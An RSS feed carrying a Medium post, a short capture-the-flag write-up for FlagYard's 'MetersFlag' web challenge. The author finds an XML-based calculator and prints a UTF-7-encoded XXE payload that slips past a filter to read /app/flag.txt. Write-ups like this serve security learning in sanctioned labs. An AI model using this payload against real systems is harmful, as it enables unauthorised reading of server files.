<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Nacht on Medium]]></title>
        <description><![CDATA[Stories by Nacht on Medium]]></description>
        <link>https://medium.com/@f8le?source=rss-d65e630ca44------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*0_pVHf-qc1SiG41oilaf4g@2x.jpeg</url>
            <title>Stories by Nacht on Medium</title>
            <link>https://medium.com/@f8le?source=rss-d65e630ca44------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 18:01:02 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@f8le/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[FlagYard — MetersFlag Web challenge]]></title>
            <link>https://medium.com/@f8le/flagyard-metersflag-web-challenge-c740446ea80e?source=rss-d65e630ca44------2</link>
            <guid isPermaLink="false">https://medium.com/p/c740446ea80e</guid>
            <dc:creator><![CDATA[Nacht]]></dc:creator>
            <pubDate>Mon, 08 Apr 2024 03:31:07 GMT</pubDate>
            <atom:updated>2024-04-08T05:15:34.138Z</atom:updated>
            <content:encoded><![CDATA[<h3>FlagYard — MetersFlag Web challenge</h3><p>السلام عليكم ورحمة الله وبركاته</p><p>Our challenge today is an easy web challenge from the FlagYard platform called “MetersFlag”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wld--FW8-lKw7r-pNORo_A.png" /></figure><p>After we run the challenge, we see that the website page contains a very simple calculator</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iELmMtDVG2sC2PKgZRpHSg.png" /></figure><p>Add some values, start BurpSuite, intercept the request and send it to Repeater</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qtXULiD_Yo2bXBCpj-x4pw.png" /></figure><p>Now that we’ve discovered that the website uses XML, we can start thinking about vulnerabilities like XXE (XML External Entity) to access the flag file located at app/flag.txt. First, let’s go to the cookies, copy them, and paste them into the Repeater.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f20bThnC2hJUC6qFL1JqtQ.png" /></figure><p>It seems that there is something blocking our attack. Look in the source code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*W8b-vGXkfYd4UU7XZiuwvA.png" /></figure><p>Can we try to encode our payload to UTF-7 and then try to send it? Yes.</p><pre>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-7&quot;?&gt;+ADw-+ACE-DOCTYPE+ACA-replace+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-ent+ACA-SYSTEM+ACA-+ACI-file:///app/flag.txt+ACI-+AD4-+ACA-+AF0-+AD4-+AA0-+AAo-+ADw-data+AD4-+ADw-weight+AD4-+ACY-ent+ADs-+ADw-/weight+AD4-+ADw-height+AD4-156+ADw-/height+AD4-+ADw-/data+AD4-</pre><p>Well let’s test it…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7hFPTpBDu9BXnJxKQRCpZg.png" /></figure><p>Thank you for your time! I trust you found this write-up enjoyable and insightful. ᓚᘏᗢ</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c740446ea80e" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>